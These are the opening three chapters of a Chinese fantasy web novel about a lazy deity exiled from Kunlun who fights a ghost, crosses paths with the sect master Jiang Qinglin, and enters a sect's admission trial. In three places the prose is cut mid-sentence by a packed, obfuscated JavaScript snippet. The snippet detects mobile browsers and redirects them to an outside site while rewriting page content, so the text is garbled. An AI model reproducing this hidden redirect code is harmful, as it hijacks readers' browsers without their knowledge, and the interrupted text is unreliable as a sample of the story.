《开除神籍后死对头表白了》 1. 未雨绸缪 戈壁荒凉一片,枯杆满地,蓬草飘飞。不远处风沙浓重,不祥的黑雾隐隐绞缠其中。 男人一袭简素青衣,黑发盘起,鬓边风尘碎发,仍能看出面貌清秀端正来。 可这样大的风沙天,任谁来滚上这么一遭都得裹成个灰球儿,衣衫已经看不出一点青色了。 姜庆临此次孤身来寻探宝物,不想正撞上了沙鬼,一路狼狈。 沙鬼是戈壁里极其凶险的一类鬼怪,吸人血髓,能将人活生生吸干,还能刮起滔天风沙,借着风沙掩护,惹上一只就惹来一群,极难对付。 取道这一趟路的过客,十个有八个要折在流沙地。 沙子里头埋着白骨,是个冒险者的坟冢。 姜庆临身后追着百来只沙鬼,法力已到了山穷水尽的地步。他一瘸一拐,趔趄着向前。 不远处有一个破棚子,拿石板和帆布搭建起来,敞着正堂,仿佛是神庙的形制。 简陋至极,但是眼下前不见人烟,后追着沙鬼,叫天天不应叫地地不灵。 管那神庙是龙潭还是虎穴?什么都顾不上了,凡夫俗子,任你是多高人一等的修士,见了神老老实实磕个头,祈求庇护吧。 他一点点朝着那个方向挪过去。 走近了才看清,那破棚子说是神庙,其实那神没有造像,只有一张木板,潦草刻画生平,简单描述了神相。 仿佛是什么人私立的,矗立在遥遥无极的黄沙里守望。 这神庙不知道在风沙里被吹了多久,棚子里沙子没过脚脖子。神龛里供的木板积灰,字迹几不可辨。 他慢慢匍匐过去,手磨在沙砾上,膝盖跪在石板上。身后的风沙越来越近了,黑雾更浓,冲破了风沙的边际。 姜庆临甚至不顾上看这是不是正经神,跪下就是念咒叩拜。 反正前后左右都要死,生路无门,木板在他眼中霎时就高大起来,成了目之所及唯一的念想。 “危在旦夕,立地焚香,神灵必降!” 姜庆临满怀期许,规规矩矩念了请神咒。 木板毫无反应。 黑雾卷来尘土,神相好像有微弱的金光闪了闪,若隐若现。 姜庆临觉得自己的命也若隐若现的。 金光最终还是灭了,仿佛刚才海市蜃楼一场幻梦,任凭他怎么诚心念诵,神相都毫无反应。 来了又走了?见死不救? 风沙扑过来淹没了他的袍角,木板从神龛上掉下来,摔裂成两半,掉在他眼前。 姜庆临在最后一刹那抬头看清楚了木板上刻的名号—— “越宸,昆仑武神” 跃沉被窗外小摊贩的叫卖声吵醒。 正有些困惑怎么没听到建木老妖唠叨他赖床,迷迷糊糊之间,叫卖声在窗根底下走了一趟,捎着闹市的清亮嗓音又远去了。 他才想起自己现在“无家可归”,遂掀了被子坐起来。 他贴身只穿一件透白的鲛绡——两百年前他两千年小寿,王母娘娘特赐他的礼,还和左右说,总算是长大些了。 鲛绡哪能在这红尘里乱滚?这么一折腾,皱了一大片,晃荡在他纤瘦的骨架子上。云似的,雾似的,皮肉比鲛绡更清透。 光是长得一副漂亮皮囊可不顶用。 跃沉已经因为过于躺平而被王母娘娘踢出了昆仑山,三年——搞不好三百年,都别想回去了。 作为昆仑山知名咸鱼,跃沉“战功赫赫”无人匹敌:逃早功逃修炼逃考核,就连王母娘娘的蟠桃大会都敢翘——让管辖他的领主建木老妖直呼胆大妄为。 这不,报应就来了。 王母娘娘特意召开大会,要求所有修行不满千年的神妖都要分批下凡历练,争取香火,体察民情。 说是分批,实则这一批也只有他一个,而且大概率很久都不会出现下一批。 针对性一目了然。 跃沉本是浮光潭中玉骨得道,幻化人形已五百年,无功无过,如今光荣成为了昆仑山第一个因为懒得维系信徒和香火而被贬下山的神妖。 丢人。 这是建木老妖骂他的。 天狐安慰他:“你呀,下了山,隐去灵气,只装做凡人。若人问起,就说是上山采药迷了路——装成郎中你还不会么?” 跃沉心道他还真不会。 毕竟应龙讲解药理早课的时候,他不是睡觉就是干脆逃学。抓药都怕给别人治死了,哪里敢装郎中? 总之不等跃沉学到点什么本事,他就被建木赶下了昆仑山。好在是天狐好心,给他偷薅了几片建木老妖的树叶,在人间还能买上个好价钱。 他出门给客栈老板结账,两手空空连行李都没有,又是个长得惹眼的少年郎,掌柜的思前想后反复打量他好几遍。 “公子慢走。” 跃沉没要找回来的银子,直接出了门。这回是真忘了——然后他面无表情地转身回去,把钱要了回来。 拿了钱他也不知道干什么好。街边站满了卖力气的苦力,等着雇主招揽。 但是他是因为什么被赶下山的呢? 懒啊! 天天卖力气吃饭,那岂不是懒人的酷刑? 说实话,这三年他都打算躺平度过。有钱有闲,就当是来游历一遭,品一品人间究竟有何等美食。 孰料王母娘娘把他的伎俩看得门儿清,他还在瑶台底下一片仙云飘飘中听候发落呢,就被下了通牒—— “下凡乃是匡扶正道,不是吃喝玩乐为非作歹的去处。坐在神位既然都这样懒惰,那便罚你攒够香火,不能轻纵了你。若是攒不够,三百年也不准回来。” 回来自然是垂头丧气的,天狐看不过小孩子下凡吃苦,便哄他道:“……你只管进城就是。人间只有劳动得了银钱,方能混口饭吃。” “别的我不教你,你只去那包食包宿的地方探问,只要不是卖身去处,你便老实干活,安心呆在人间,多帮扶疾苦百姓。三年一到,马上回来,别和‘百鬼夜行’撞上了日子——那还不是眨眼的事情么?” 天狐嘱咐他,说了半天,总算是记住了:包食包宿的,不卖身的,只管去就是了。 说的容易,哪有这种好事。 人流突然堆积,前面隐隐约约爆发出争吵声。 “你干什么?撞了我的摊子,不赔钱还想走?” 跃沉一点点分开人流,挤到前面。只见满地滚热的汤——原来是个樵夫,一走一过不经心,把人家街边小贩的吃食摊子刮倒了,此刻正被摊主揪住不放。 小贩紧抓着他的手腕,嗓门子颇大,喊来一圈人站定:“众位给评评理——哪有坏了人家财物不赔钱的道理?” 围观群众一阵附和声。 跃沉无意参与争吵,只想快点赶路,于是继续拨开人群向前去,眼看到了圈子最里面,便听那樵夫怒道:“你欺人太甚,还不放开我?” 跃沉脚底抹油,打算靠着一侧过去。 他背对着冲突,却只听到背后层层叠叠的尖叫陡然拔高—— 跃沉转头,满地热汤混着同样温热的鲜血。 倒下的小贩双眼空洞地盯着他的方向。 樵夫刚才还是个毫无破绽的人,这会儿剥去伪装,鬼身藏不住了。他嘴角的肌肉僵硬地拉扯上扬,露出可以称之为笑容的表情。人们霎时间惊恐地后撤,街上一片混乱。 跃沉对鬼气要比人类敏感的多,早就后退几步,默默拉开距离。 人间尚且不成气候的鬼,没有黑色瞳仁,只有眼白。而有一定道行的鬼,眼睛里是血红色的瞳仁,那瞳仁越大,颜色越近乎血红,杀的人也就越多。 樵夫四肢肌肉充血隆起,筋络青紫骇人。那双黑雾翻腾的眼睛中间,赫然浮现一点米粒大小的鲜红眸子。 跃沉倒是很意外,修成血眸的鬼怪,也算是难得,在山林里足是一方邪祟。如今居然主动献身,给大街众人充了一景。 这鬼哪由人们反应,顷刻间卷起一阵暗雾。 跃沉只觉得风一动,围在他周围的几个无辜百姓登时被刀刃般锋利的雾气刮成碎肉烂泥,鲜血四溅。 尤其刚才给小贩帮腔的那几个,无一例外地爆成血雾,被绞杀了个干净。 黑雾不管不顾,横冲直撞,一些过路的修士修为低微,自身难保,此刻只有躲开的份。 樵夫一抬手,那气势腾腾的凶悍黑雾听主人的吩咐,扭成浓重的一股,直直朝他冲来。 跃沉心里直呼冤枉—— 我赶我的路,你打你的架。我一没说你二没让你赔钱,怎么冲着我来? 哪里有他说话的机会,黑雾直冲冲扑过来,张牙舞爪要把他吞干净了。 堂堂神仙被鬼敲到脸上,岂有此理? 他只好上前一步,略斟酌着使出三分法力,低声掐了咒诀“云开雾散”。 黑雾距离他三尺处堪堪停下,然后碎裂飘散,再不能成型了。 原来是纸老虎。 跃沉放下心来,嘀咕道:“我还以为多了不起的鬼怪,闹出这么大阵仗……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245014|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 樵夫惊默了几秒,手心再次聚集丝丝黑雾。这次并不是散乱的雾气,而是看上去凝如实体的黑刃。只在刹那之间积聚成型,带着森森阴气扑面杀来。 跃沉暗中掐咒,顷刻间风起云涌、飞沙走石,那黑雾凝成的巨刀就这么硬生生被吹散了。 他玩闹够了,不想在纸扎的幌子上浪费时间。抬手一挥,黑雾就失去了原主人的控制,在跃沉指尖重新凝成极其细巧却更暗的一根针,慢悠悠地倒冲向樵夫。 樵夫瞪大眼睛,无论如何使力都不能让那出自他自己的黑雾溃散,只好支起一面黑雾重盾挡在身前。 然后,那根运动缓慢的针不费吹灰之力地穿透雾盾,甚至没有加快速度,就这样不紧不慢又毫无阻碍地穿透了老鬼的眉心,然后化成雾消失不见。 老鬼的血眸定格于惊恐。 没了鬼气运转支撑,半空中那些漂浮的碎肉血雨倾盆而下。 跃沉懒懒念了一句“未雨绸缪”,头顶如同撑了伞,坠落的血肉左右闪躲,自动避开了他站立的地方,衣角竟没有沾上一丁点血污。 不知道是哪家的修士发了警示符,城里大批大批的修士正往这里赶。跃沉趁着没人注意他,拔腿就走。 兴陵城繁华无限。外城的乱子闹得天翻地覆,内城恍若无事,熙熙攘攘、摩肩接踵,叫卖声仍不绝于耳。 谁顾得上外城刚才有个和他们一样的贩夫走卒,和他滚烫的生计一起洒了满地呢? 跃沉在大街小巷消磨了一整天,不知不觉已经入夜。 城池灯火通明,远看去煌煌一片,夜景掉在河水里穿城而过,荡漾开年关下的热意。 “小郎君要食甜汤?”妙龄女郎鬓边簪一朵香透的晚香玉,软语招呼来客。红粉佳人粲然一笑,艳色绝妙。 他一带而过,直到有什么东西揪住了他袍子的一角。 跃沉低头——是一只软糯的兔子,奶白奶白的,毛色顺滑,乖巧地抱着他的衣角。摊主把兔子揪起来,拎回去,向他道了一句抱歉。 跃沉笑了,摆摆手,蹲下去逗弄它。 蓝眼睛兔子,跟昆仑山一样的蓝天的颜色,怪好看的。 摊主上上下下将他一打量,见他穿的体面,就毫不客气张口要价:“郎君若真喜欢,五钱银子拿走,还送您一只竹笼子。” 他嘱咐:“您把兔子给我留着。” 转身进了当铺,掏出三片建木身上薅的新鲜叶子。 鉴定的掌柜盯着叶子亮了眼睛,又是好一番上下打量。咂摸着这少年人面貌不凡,姿态脱俗,忙从柜台中滚出来作揖。 “小的有眼不识泰山。不敢问大人何处取得,但问这叶子离体几日?” 跃沉算了算,犹犹豫豫说:“不到一天吧……” 掌柜好悬咬了自己舌头,话都说不太利索:“万年建木新鲜叶子……离体还不到一天吗?” 跃沉点头。 最后他收到一沓面额最大的银票,临走的时候还要求掌柜的给他破开五钱银子。 掌柜在跃沉手里塞了两个银锭子,将这位祖宗好言好语送出门。 “掌柜的,要不要派人跟……”伙计凑上来,被掌柜的一巴掌拍了回去。 “跟?跟什么跟!”掌柜的呵斥道,“咱们都不要命了?” 他眸色深暗,站在店门前望着跃沉提着兔笼子渐行渐远的背影。掌柜正要进门,屋内却突然闪进一个青衣男子。 “噤声。”青衣男子淡淡道,“刚才那人卖的什么,我全买下了。” 掌柜知道身怀重宝自然容易被人盯上,但这也太快了些——刚才的少年被眼前的青衣男子跟踪了。 这一会儿就见了两个天仙似的人物。掌柜的暗暗称奇,转着眼珠,心里直琢磨。 青衣男子削白遒劲的手指从袖中夹出一块令牌,举到掌柜面前,短暂停一停就收了回去,但掌柜的看的很清楚。 “鼎元宗”——这谁敢惹? 不多时,青衣男子怀中也揣着锦盒,装了这三枚新鲜树叶,不紧不慢走出店门。 才出门就撞上了个满身叮当作响的乞丐老头。准确来讲,是那人主动撞上他。 “姜长老出门,易容术也不弄一个?”老头头发枯乱,袖口沾着可疑的污渍,就要拉住他。 姜庆临不着声色地躲开,拢住宽大的衣袍,免得碰脏了:“曳白?你来凑什么热闹?” 话音落下,姜庆临有所察觉似的微微蹙眉,又向他一伸手。 “东西还我。” 2. 花火蝴蝶 曳白收了手里敲了半天的小破碗,笑的春风得意:“瞧瞧你得了什么好玩意儿。” 说着,翻手一摸,那锦盒不知何时已经到了他手里。曳白甚至不屑于打开,眼睛只是一扫,就扔还给了姜庆临。 他嘀嘀咕咕,声音不大:“我当你拿住了那宝物呢。几片树叶子大动干戈的,真无趣。这不是买椟还珠……” 姜庆临挑眉:“……什么买椟还珠?” 曳白故意作怪,嘻嘻哈哈没个正形:“不知道。你把东西送我,我才告诉你。” 曳白此人,乃是鼎元宗长老,坐镇磊落山,头号的混不吝。 谁也不敢问他多大岁数,因为若是猜的老了,他准会在你眼前变作个少年郎,笑嘻嘻再问你——现在看有多大。 乌龙要是讲起来,一天一宿也说不完。却也不能忘了人家的能耐——那双火眼金睛识尽了天地宝物,像鹰眼珠子一样锐利清明。 旁门左道是一点没有落下,偷鸡摸狗的生意也时常惠顾。总之是个老顽童,天天领着门下弟子鼓捣各类稀奇古怪的咒诀。 研究来研究去,磊落山山头都快被炸空了,成了真正的“磊落”山。 姜庆临觉得他又在没事找事信口开河,懒得理会,犹疑地收起锦盒,仍不忘斥他几句。 “少干些偷鸡摸狗的闲事。嫌仇家不够多么?” “嗨,要不然我还能干什么?这不是宗门里没意思嘛……”老头嬉皮笑脸,毫不在意,“至于仇家?再说再说,谅他们也捉不住我。” 一队耍灯戏的艺人经过,带来不少看客,曳白毫不费力混入其中,脏臭的乞丐立刻不见踪影,不知变成了簪花女郎还是风流书生。 “别忘了宗门纳新,按时回来。”姜庆临知道他还没走,低声道,“东西不还我了?” “切……”曳白的声音传来,但不可辨认方向,语气嬉笑,“知道了,小气鬼。” 说着,头顶落下一阵花瓣雨,人群欢呼雀跃,抬高声浪。 姜庆临无奈地伸手,三片花瓣刚好飘进他遒劲修长的手里。 他合上手掌,再张开,赫然是那三片树叶。 锦盒打开的同时,里面的破碗立刻灰飞烟灭——真小气,连吃饭的家伙也不用真的。 姜庆临把树叶重新放回去,低眉时含了一点笑意。 跃沉走几步就回头看看——总觉得有些奇怪。身边总有灵力绕着他,若隐若现的——这会儿又没了。 白兔抱着菜叶猛嚼,与世无争。 “不慌……”他慢慢随着夜游的人群向前走,不忘低声安慰兔子。 姜庆临不打算再跟着他,正要掐一句咒诀回鼎元宗,不过看见跃沉走得很慢,于是起了一点坏心思。 正巧跃沉身边经过一伙打铁花的艺人,姜庆临手里咒诀一出,灿烂的火花立刻飘向跃沉。 跃沉精准地捕捉到那点无声的灵力,瞬间转过头。 两人的目光交汇,然后定格。 铁花如翩翩蝴蝶一般,舞了几秒,又纷纷扬扬落在他们肩头。 姜庆临发现,那少年的眸色很浅。浅到什么程度呢,像水种玉,脆弱又单纯,一点驳杂的神色都没有。 跃沉抬头看那些还没有落下的铁花,明艳映进瞳仁。那双眼睛里就全都是光亮了。 他并没有生气,甚至还以为这是玩闹。不过铁花甚是危险,在这闹市里这么折腾总归不好—— 他弯着眉眼,掐了一句“栩栩如生”。 已经冰冷的铁水就真的活过来,化作万千金银蝴蝶向上飞扑,躲开嬉闹惊叹的人群,冲着姜庆临去了。 蝴蝶们绕着他,大多重新黯然失色掉落在地,最后一只缓缓停在姜庆临的肩头。他愣住,偏头看那蝴蝶。 蝴蝶轻轻振翅回应他,光就也从跃沉的浅色眸子里逃开,暂时占满了他的瞳仁。 一偏头发愣的功夫,那少年就真的无影无踪了。 姜庆临抬手,蝴蝶就很乖地停上他的指尖。 他抿唇不知道怎么办才好,拢了一把灵力要击散它,但是那蝴蝶居然很有灵性地躲开,也不飞走,“绕树三匝”,又停过来。 像是不依不饶的见面礼。 姜庆临盯着它,最后挥手将它收进手心,要装进锦盒跟树叶呆在一起。但是蝴蝶好像不喜欢被关起来,很是抗拒地用力振翅,抖落簌簌金粉。 他好气又好笑,只好任由蝴蝶闪来闪去,盯准了他青色的衣袍不走。 走出了快半条街,姜庆临被身后行人喊住。 “郎君勿动!” 一盆凉水兜着后背浇下来,姜庆临惊了一跳。 小摊贩气喘吁吁:“郎君衣袍怎的着火了?没有伤到吧?” 姜庆临衣袍后摆被烧了快一半,却毫无知觉。他背脊窜上凉意,想起那只蝴蝶,僵着脸向小贩道谢。 铁花蝴蝶扑扇翅膀,乖乖缩进他的袖子,一副得逞模样。 跃沉早就溜之大吉,找了家客栈投宿。 其实他本是妖身,练功就不必睡觉。但是跃沉天天把“不睡觉那还得了”挂在嘴边,建木也就随他去了。 这一觉迷迷糊糊,昏昏沉沉。尽管是最上等的房间,还是挡不住窗外有些模糊的嘈杂声。 他连着做了好几个混乱的梦,第二天清晨醒来的时候,就只记得昨晚那人高大的青衣身影——狭长的眸子有一点错愕,浓眉还停留在促狭的角度。 跃沉向来无心,加之楼下酒店的红油抄手很好吃,一顿饭功夫,他是只记得饭不记得事的主儿,早就把这事抛诸脑后。 人间还是有点意思的。 他端着碗喝馄饨汤,小心翼翼又添了一勺辣子。辣得薄唇红艳艳的,鬓角冒出点点细汗。 管他的,来都来了。红尘富贵一趟,首先就是不能亏了嘴。 他吃也不低头安心吃,张望来张望去的,瞧见二楼平台上,几个修士聚在一起七嘴八舌地讨论。 “吴兄还没有下来吗?今日巳时鼎元宗外门招新,可断断不能迟了……” “虽说是‘炼炉’将开,迫不得已补招外门弟子。公子也是真傻,那可是鼎元宗,连外门弟子出门也是尊荣有加,傻子才不抢着去。吴老爷让咱们陪着公子,也是当个照应,怎么能这样宽泛,任他胡作非为的……” “来了来了……堆在一起说什么呢?” 楼上走下一个满眼疲倦、一身酒气的公子,穿金戴银,瞧着修为不高,可身上灵气环绕——宝器倒是不少。 跃沉从碗沿上抬眼,看他对那些修士呼来喝去,吩咐事情。 原来是个富贵公子哥,家里给组了多少陪同随从,要把自家傻儿子砸进名门宗派的。 人间宗派三足鼎立,虽说是谁也不让着谁,但是人们心中自然有计较。 鼎元宗在口耳相传里尽显风光,因着那宗主姜庆临炼器的手段天下无双。据说本人精通符咒法阵,天下名城的护城法阵都有其手笔,实实在在把庇佑苍生落到了实处。 等等,宗派? 对啊!找个宗派,以他的实力,躺平三年还不容易吗? 而且,说动说动别的修士,随便拜一拜他的神相,凑一点香火交差就好了。 谅王母娘娘日理万机心系天下苍生,不能真揪着他个尸位素餐的懒货不放。 这世间凡人,大多都会拜神求平安或是祈求一些特别愿望,而修士常常拜神拜仙,请借各方神力。 有的修士有时除鬼降魔、身陷困境,甚至广拜八方神明,什么神都要去求一句,企图数量取胜,都是常事。 只是天上哪有馅饼可掉? 求神于自身后路必有损毁,是压低了上限,正经修士不到万不得已,很少拜神。 普通老百姓没这个讲究,拜神应验在寿数上,可是活都活不明白,还在乎能不能多活那么一两天吗? 故而神明的主要香火来源,是凡间殷殷众生。 水以载舟,没了水,舟难行旱地——神明也要聆听众生私语。 那些主管民生大事的、香火旺盛的神仙,如司命星君、司财星君,神庙里都没地方跪,香灰烧起来轰轰烈烈的眼熏人眼睛。 每天的祈愿流水一样过耳,能听到谁的都看运气。 他就不信王母这么狠心。三年一到还不是让他回去? 跃沉豁然开朗,打定主意,转身结账,却正正撞上了一个人。 吴昼锦好不容易脱离了家父的严加看管,那还得了?喝多了恨不得上房揭瓦。 昨晚一时忘情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245015|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在青楼吃花酒玩闹到凌晨,脚步都发沉发虚。就这么带着一身酒气,直愣愣和跃沉撞在了一起。 跃沉退开一步,就要绕过去。 吴昼锦喝昏头了怕是酒还没醒,不知道哪来的少爷脾气,抬手就揪他的衣襟:“谁准你撞了人就要走的?” 衣襟当然是一点也碰不到了。 吴昼锦完全没有看清跃沉是怎么躲开的,自己倒是一趔趄,身子一歪就磕在了栏杆上。 好巧不巧,一声清脆,他脖颈上挂着的那块玉锁被磕裂了一道纹。 然后摇摇晃晃,脱离红绳摔落在地,变成无数白玉碎瓣。 吴昼锦懵了一瞬,酒也醒了,脾气也顿住了。门客们呆若木鸡杵在一旁,不知作何反应才好。 “……你什么人?别走,且赔我玉锁!” 吴昼锦张口结舌,好半天才回过味儿来,抬起手指着跃沉,气的不知怎么办才好,转头瞪身后的一群木鸡。 “愣着做什么?拦着他!” 跃沉不搭理他,蹲下身捻起一瓣白玉,起身的同时,那瓣玉就化作玉粉从他的指间漏下。 门客们盯着他嫩白无瑕的指节,一时竟然没人敢上前。 “公子不要急。本来也不是什么值钱物事……”跃沉浑然不觉氛围不对,只是安慰吴昼锦道,“就是普通白玉罢了,还有些小瑕疵。” “什么普通白玉?”吴昼锦更急了,“那是护身法器,价值连城世间无两……” 跃沉闻言,低头仔仔细细挑拣,再次用指力捏碎了一瓣碎玉,然后擦擦手指,很恳切地抬头:“那公子就是被人骗了,真的是普通白玉。” “你你你……”吴昼锦往前迈了一步,“你是不是赖账不想赔?” 跃沉淡淡地扫视满地碎玉:“没有。公子不信,捡回去等几个月,灵力消散的差不多了,自然就知道了。那玉锁本是空心,中间放了一粒瑕疵的灵玉。本就是废料,并不是什么好东西,我也顺便给你挑出来了。” 他抛给吴昼锦一粒碎玉,然后在一众人等的目瞪口呆中不慌不忙地下楼,还不忘朝楼上喊:“公子若是想要买好玉,还是带着修为高深的人陪着掌掌眼才是。” 吴昼锦脸色铁青。 说完,跃沉也懒得多管,低声用了咒诀,立刻不见人影。 地方并不难找。毕竟鼎元宗难得招新,招致不少外地修士纷纷赶来。负剑提刀,成群结队,各色各样的人物,都往城南去。 衣饰光鲜的、策马佩剑的、缩在马车里神龙见首不见尾的,穿过长街,夹在路两旁的贩夫走卒中承接眼热的艳羡,活脱脱一长卷众生相,一直铺陈到城南。 城南郊外,绿水青山,护城河在此处的山脚下汇积成一汪静深的碧潭。 潭后是巍峨高山,山势险峻,瀑布在两山之间垂流,飞湍而下溅起碎金——那就是鼎元宗的外界门户。 引人注目的是耸入云端的高台,台上端坐几位鼎元宗的长老,高台垂下飘扬的五色长旗。 在更远一点的地方,城门处人头攒动,都是赶来参与考核的修士。 “我说老姜啊……”曳白坐在高台上也不安分,左支右扭的,干脆把腿立起来才觉得舒服。 他挤眉弄眼,好一通比划。 “你昨天晚上……” 还说呢,昨天那只铁花蝴蝶在他书房里掉了一晚上金粉,这里停停那里停停,活泼的不得了。今早上还抖着翅膀要跟着他一块儿出门,硬生生被姜庆临关在了书房后的花圃里。 姜庆临凭空捻出一只白瓷茶盏来。他抿着唇,瓷色虽然温润美丽,却远比不上昨夜见到的那个少年的眸子颜色。 “……当真一点收获也无?” 他被曳白的话打断了联想,冷冷抬头扫了一眼:“你若是卖关子,就不要开口了。” 曳白好像极力忍着什么,戏谑地:“那我还真就不说了。”过了半晌,又忍不住逗弄人。 “你真的,一点也不想知道吗?” 姜庆临:“不想。” 说完慢慢吹动杯里茶汤,深抿一口云雾茶,闭眼不理他。 “你真不想再了解了解?” “不想。” 曳白没完没了,姜庆临神定气闲,总归就是不问。 3. 铜墙铁壁 结果就是,还没等姜庆临烦躁,别人就先忍不了了—— 一旁打盹儿补觉的术星孤一把掀了盖在面上的纱巾,支起半个身子训斥他:“你不睡早觉我还睡呢,别一天到晚吵吵嚷嚷的。” 鼎元宗修士不说个个修为高强,但好歹都不必像凡人一样睡觉。 只有术星孤不但坚持作息,而且还昼夜颠倒——她夜登垂月峦观天象,白天谁也不理会,只管闭门睡觉。 往常是个披着麻袋都浑不在意的主儿,今日穿一件素淡得出奇的白色长袍,干干净净没有褶皱,是为了招新大会特意换的。 术星孤才不在乎就这么穿着新衣服躺在高台上沾灰。 她懒得起来,但被吵醒也没心思再睡下去,就抬头望天。 望了半天,扭头朝姜庆临道:“你不是说缺一把趁手的武器么?这总算是来了,但是你别弄丢了。他脆弱着呢……” 术星孤整天研究星象占卜,“出口成谶”是有的。 她这么随口一句,姜庆临如听了神谕。 他立刻收了茶盏,将本已端正的脊背又绷直了三分,瞥了一眼似笑非笑听热闹的曳白。 天下无双的炼器大师姜庆临,近来不知怎的,思路枯竭,已经快一年多没有亲手炼器了,信手做的小玩意也嫌无甚新意。 正巧又逢“炼炉”将开,他面上不显,心里一天愁过一天。 上次在“炼炉”里使用的那把剑不能再沾一点儿鬼气了。 他需要一把新的兵器,能带到炼炉里,随他背负无数森森亡魂,平定这三百年一场的浩劫。 三百年一场“炼炉”浩劫,百鬼夜行。三大门派既然凌驾众生之上,一脚踏进半个神界,自然是天命有所归,不能白白被捧在云端。 每次百鬼出动,都需三大门派合力进入其中镇压,死伤自然难免,不过也属常事。 修仙道本来逆天而行,渡劫尚需天打雷劈,想在活人堆儿里呼风唤雨,不吃点苦头怎么行? 姜庆临百年以来从未停止到处寻觅天材地宝,现在距这浩劫只剩三年,阵法日夜松动。不疾不徐的脸面得拿来定军心,背地里也是殚精竭虑。 这不,昨日还望风而动,跟踪“可疑人士”去了。 谁知道这么久了,还没有遇到合他眼缘的材料。 “巳时了。”於破岩轻声提醒,打断了姜庆临的思考。 姜庆临看向於破岩,点头示意。 他其实对招人不太感兴趣,但是一入“炼炉”则死伤惨重。上次就没有招人,搞得现在外门子弟凋敝得很,功力稀松无法无天,甚至昨天在外城出现纰漏,波及了不少凡人百姓。 是得给宗门里注入些活水。 於破岩接了指令,不知用了什么咒诀,立刻从高台上瞬移到台下开阔的地界。 台下一大早就人山人海,世家的青年才俊和山野散修却泾渭分明。那些带着宾客,众星拱月,三五成群,身上配饰玲珑繁杂的,多是世家公子。而散修人士几乎没有结伴的,都是身负一剑,独来独往。 跃沉在他下高台那会儿才赶到——他贪新鲜,一路上是边看边走过来的,好在不算迟到。他默默往后面草地上坐,继续好奇地观赏这深潭和高山瀑布,也不和其他人拥挤争抢。 “现在巳时正,来迟的就不必参与了。在下鼎元宗截云山长老於破岩,各位修士远道而来,话不多说。今日考核,规矩分明,请听我细讲——” 不少人听说来迟的不能参与,唉声叹气很是不满。人群出现了轻微的骚动。 於破岩眉目冰冷,说是站在人群对面,其实脚下的那块儿地还是高了一大截。他抬手劈下一道剑风,拦腰撕裂了一大片嫩草。 人群霎时安静了。 於破岩眼神自上而下扫视一圈,冷峻地开口,毫不留情:“布告说明了巳时正开始考核,迟到的人连最基本的规矩都不守,谈何参与?” “本次考核规矩:众位看好了,谁能两个时辰内游过‘问心湖’,进入鼎元宗山里,谁就算第一次考核通过。所有考核通过者都能进入鼎元宗外门。根据在外门的表现,再按情况分入内门。‘炼炉’将开,事态紧急,敬请各位谅解。” 跃沉托腮不语,怀疑这是招来一批新人然后让他们变相送死,但是又没有证据。 进宗门作垫脚石,说白了就是推出去给人当靶子。 他想慢慢挪起来,可惜前面众人都屏气凝神、一动不动,这时候拔腿就走,好像……不太好。 众人齐刷刷盯着深潭,鼎元宗的考核怎么会那么简单。没有人敢先下水试探。 直到一个站的本就离湖水很近的黑衣少年摘了斗笠,将腰间的双刀解下,改成绑在背后,毫不犹豫就跳了下去。 一个活人跳进去,湖水竟是连一点水花都没有激起来,也不见他的身影。 於破岩笑得意味深长:“两个时辰后,山里见。” 第一批人已经陆陆续续下水了。说来也怪,下水之后,他们就再也没有露头的了。 潭面平静,无声无息地吞容了这些人。其余的人在潭边观望,却连一点模糊的影子也看不见。 只有两个时辰。 别看湖水后面就是高山瀑布,可真到了近前一看,问心湖是真不小。 靠游过去,两个时辰不一定能赶到。指不定水里还有什么妖物等着,众修士不敢耽搁,纷纷整装,咬牙下水。 跃沉不着急,他在昆仑时天天在浮光潭里泡着,泡了这么千百年的,只剩腻烦了。但是居然还有人也不着急,过来拍他肩膀,雪青色的长袖垂落在他身上。 那人同样很年轻,一个人来的,看着跃沉也是一个人,就笑嘻嘻地搭话:“公子怎么不下水啊?” 跃沉盯着他看了几秒——是个很俊俏温和的少年,垂着眼,好奇地望他。 于是跃沉也很友好地笑:“没什么,不着急。” 对方眉眼弯弯:“我叫冲华,公子你生的好漂亮,咱们交个朋友,好不好?” 跃沉不知道什么算是凡人眼里的“漂亮”,但是被夸了照样高兴——这是第一个夸自己的人类诶。 “好,我叫跃沉。”他回答说。 草坪上没什么人了,各自下水,最后只剩下他们俩。 跃沉见人都走干净了才从地上爬起来,慢条斯理地抖衣袖,朝问心湖走去。 冲华和他一起,不住偏头看他。 跃沉低声念了一句“不沾阳春水”,抬脚就要往水里走。 冲华杵在湖边,为难地顿了顿:“我……我不会游泳……” 跃沉很大度地给他也套了个咒诀,拉着他下水,感动得冲华连连道谢。 下水那一瞬间,俩人就和其他人一样沉底了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245016|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃沉惊了一跳,这哪是水啊? 